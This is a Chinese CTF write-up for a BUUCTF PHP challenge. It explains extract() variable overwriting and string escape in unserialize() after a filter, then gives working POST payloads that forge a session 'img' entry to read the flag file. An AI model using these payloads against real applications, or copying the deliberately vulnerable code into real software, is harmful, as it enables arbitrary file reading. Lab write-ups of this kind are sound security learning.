文章目录
前言
本身是要在昨天解这题的,结果解着解着就去做了session反序列化的题目了o(╥﹏╥)o,于是昨天的题今天做(o)/~,这个知识点也是第一次遇到,菜菜的我学习到了,翻阅了很多大佬的博客才一知半解,需要继续努力!!!
本次使用了两种解法,可以说这个知识点算是印象深刻了!!!
重要知识点
先附上大佬们的blog:
https://www.cnblogs.com/h3zh1/p/12732336.html
https://www.cnblogs.com/LLeaves/p/12813992.html
https://blog.csdn.net/a3320315/article/details/104118688/
变量覆盖:
extract示例讲解网站
extract():
作用:
从数组中将变量导入到当前的符号表;该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量
示例:
<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>
//输出:$a = Cat; $b = Dog; $c = Horse
PHP序列化和反序列化
php序列化格式讲解
这次主要用到的是数组的序列化格式,所以主要讲关于数组序列化后的格式:
想了解一下字母含义(都是字面意思):
a - array b - boolean d - double i - integer o - common object
r -reference s - string C - custom object O - class N - null R - pointer U - unicode
看一下关于数组序列化的示例:
<?php
$_SESSION['flag']='123';
$temp=serialize($_SESSION);
print_r($temp);
?>
输出:a:1:{s:4:"flag";s:3:"123";} ,可以看到SESSION数组序列化过后变成了一个字符串:
解释:a-数组,1-有一个元素,s-字符串,4-4个字符,“flag”-键名,所以后面的“123”就是值。
同时注意,序列化后的字符串最后面的}(右花括号)如果在后面添加一些无关内容,是不会对后续的反序列化产生影响的。
接下来讲讲本题最重要的反序列化过程中的字符串逃逸:
现在先设置SESSION数组有两个元素有着正常的内容:
<?php
$_SESSION['user']='flag';
$_SESSION['function']='666';
$temp=serialize($_SESSION);
print_r($temp);
echo("\n");
$temp=unserialize($temp);
print_r($temp);
?>
输出:
a:2:{s:4:"user";s:4:"flag";s:8:"function";s:3:"666";}
Array
(
[user] => flag
[function] => 666
)
那如果有一个过滤函数想要过滤“flag”,那么序列化后的字符串再被过滤就变成了:
a:2:{s:4:"user";s:4:"";s:8:"function";s:3:"666";} 可以看到flag被过滤了
但是在被反序列化的时候,它仍然会向后检测4个字符如果符合要求,仍然会被反序列化,所以只要我们精心构造,想必可以造成一定的危害。
示例:
构造一个序列化结果为这个的:
a:2:{s:4:"user";s:24:"~~flagflagflagflagflagflag~~ ";s:8:"function";s:24:"a";s:3:"img";s:3:"123";}";}
则若flag全部被过滤后:
a:2:{s:4:"user";s:24:"**";s:8:"function";s:24:"a**";s:3:"img";s:3:"123";}";}
如果是这个字符串被反序列化的话,那么SESSION数组就被改变了,因为刚好数24个字符满足要求!
反序列化输出结果:
Array
(
[user] => ";s:8:"function";s:24:"a
[img] => 123
)
这就是所谓的反序列化后的字符串逃逸。
小知识点(需要反复注意):
①_SESSION[]在POST传参时【】中不需要单引号或者双引号。
②POST传参赋值时,等号右边赋值不用单双引号。
③构造payload的时候,一定一定要注意;(分号)闭合,孩子给整麻了o(╥﹏╥)o。
解题过程
在BUU实现题目复现,打开题目网站,发现源码,立马分析:
<?php
$function = @$_GET['f'];
//给f参数GET传参,然后对$function 赋值
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
//filter主要是一个过滤函数,过滤了5个字符串。
if($_SESSION){
unset($_SESSION);
}
//删除了SESSION数组的值
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
//设置里SESSION数组的user和function的值
extract($_POST);
//post传参,明显的变量覆盖!!!
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
//这里对img_path是否GET传参做了判定,然后分别不同进行赋值
$serialize_info = filter(serialize($_SESSION));
//对SESSION数组进行序列化然后再filter过滤
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!(有重要信息在phpinfo里,猜测flag地址)
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
//对$functio(就是f)的值做不同的判定,然后输出不同的结果,值得注意的是,
//当$function=show_image时,会对$serialize_info(就是序列化并过滤后的SESSION数组)反序列化,
//然后再输出数组中键名为“img”的文件内容。
经过上面详细对源码的分析,可以很清楚的知道可以构造序列化的字符串,传入构成反序列化的字符串逃逸。
先进入phpinfo,查看关键信息,看到了 d0g3_f1ag.php(base64编码后:ZDBnM19mMWFnLnBocA==) 重要地址:
然后正式解答:
主要有两种解法:
注意:记住由源码可以看出原SESSION数组会有三个元素:user,function,img。
①真正利用变量覆盖,并且过滤的是值(修改值):
首先令f=show_image,
然后利用题目所给的
S
E
S
S
I
O
N
[
"
u
s
e
r
"
]
=
′
g
u
e
s
t
′
和
_SESSION["user"] = 'guest'和
SESSION["user"]=′guest′和_SESSION[‘function’] = $function进行变量覆盖,
构造payload过程:
<?php
$_SESSION['user']='flagflagflagflagflagflag';
$_SESSION['function']='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:3:"123";}';
$_SESSION['img']='123';
$temp=serialize($_SESSION);
print_r($temp);
echo("\n");
$temp=preg_replace('/flag/','',$temp);
echo($temp);
echo("\n");
$temp=unserialize($temp);
print_r($temp);
?>
输出结果:
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:61:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:3:"123";}";s:3:"img";s:3:"123";}
a:3:{s:4:"user";s:24:"";s:8:"function";s:61:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:3:"123";}";s:3:"img";s:3:"123";}
Array
(
[user] => ";s:8:"function";s:61:"a
[img] => ZDBnM19mMWFnLnBocA==
[dd] => 123
)
成功逃逸出来一个img,将原来的img覆盖掉了 (不过我尝试了一下如果img如果在最前面就赋值了的话,这个方法就不可行了)
所以可以构造payload,再POST传参(注意传参时【】里面不需要单引号或双引号,也不需要$):
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:3:"123";}
$flag = ‘flag in /d0g3_fllllllag’; 发现flag地址,base64一下:L2QwZzNfZmxsbGxsbGFn。
变换payload再POST:
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"dd";s:3:"123";}
拿到flag:flag{e7c5c85d-919e-45f1-a6ba-7e645a38f1cf}
②不需要变量覆盖,过滤键值(修改键名):、
尝试构造的脚本:
<?php
$_SESSION['user']='123';
$_SESSION['function']='111';
$_SESSION['flagphp']=';s:3:"123";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img']='123';
$temp=serialize($_SESSION);
print_r($temp);
echo("\n");
$temp=preg_replace('/flagphp/','',$temp);
echo($temp);
echo("\n");
$temp=unserialize($temp);
print_r($temp);
?>
输出结果:
a:4:{s:4:"user";s:3:"123";s:8:"function";s:3:"111";s:7:"flagphp";s:50:";s:3:"123";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:3:"123";}
a:4:{s:4:"user";s:3:"123";s:8:"function";s:3:"111";s:7:"";s:50:";s:3:"123";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:3:"123";}
Array
(
[user] => 123
[function] => 111
[";s:50:] => 123
[img] => ZDBnM19mMWFnLnBocA==
)
发现成功了
立马利用burpsuit进行POST传参:
base64以下路径,再POST传参得到flag:
总结
本次最主要学习了php中反序列化的字符串逃逸,我觉得最主要的就是过滤函数过滤键名或者值,导致本身序列化后字符串的结构发生改变,所以可以导致后续一系列的构造注入,造成字符串的溢出,覆盖原来的元素,导致数组发生改变。虽然学习的到了还很漫长,希望不忘初心,砥砺前行!